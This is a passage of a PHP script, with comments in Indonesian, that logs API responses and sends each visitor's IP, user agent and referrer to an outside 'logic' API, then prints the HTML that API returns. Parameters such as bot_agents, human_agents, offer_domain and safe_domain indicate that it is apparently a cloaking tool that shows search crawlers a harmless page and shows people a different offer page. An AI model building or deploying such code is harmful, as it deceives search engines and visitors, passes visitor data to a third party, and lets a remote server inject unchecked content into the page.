'error', 'message' => 'CURL Error: ' . $error_msg ]); exit; } curl_close($ch); $decoded = json_decode($response, true); if (!$decoded) { header('Content-Type: application/json'); http_response_code(500); echo json_encode([ 'status' => 'error', 'message' => 'Invalid response from API or not JSON' ]); exit; } // Hapus 'content' sebelum disimpan ke file log $log_data = $decoded; unset($log_data['content']); $file = 'api_raw_response.json'; $existing_data = file_exists($file) ? json_decode(file_get_contents($file), true) : []; if (!is_array($existing_data)) $existing_data = []; $existing_data[] = $log_data; file_put_contents($file, json_encode($existing_data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)); if ($httpcode !== 200) { header('Content-Type: application/json'); http_response_code($httpcode); echo json_encode([ 'status' => 'error', 'message' => $decoded['message'] ?? "HTTP Error ($httpcode)" ]); exit; } return $decoded; } // ================= CALL TO LOGIC API ================= // $logic_url = "https://www.artikelspiner.id/api/logic/"; $logic_response = api_request($logic_url, [ 'host' => $host, 'ip' => $visitor_ip, 'user_agent' => $user_agent, 'referrer' => $referrer, 'target_country' => $target_country, 'platform_target' => $platform_target, 'bot_agents' => $bot_agents, 'human_agents' => $human_agents, 'iframe' => $iframe, 'google_index' => $google_index, 'title_iframe' => $title_iframe, 'description_iframe' => $description_iframe, 'offer_domain' => $offer_domain, 'safe_domain' => $safe_domain, 'redirect' => $redirect, 'api_key' => $api_key, ]); // ================= FINAL OUTPUT ================= // if (!$logic_response || !isset($logic_response['status'])) { http_response_code(502); exit("Gagal mengambil data dari server. Silakan coba lagi nanti."); } if ($logic_response['status'] === 'error') { http_response_code(403); exit($logic_response['message']); } echo $logic_response['content']; ?>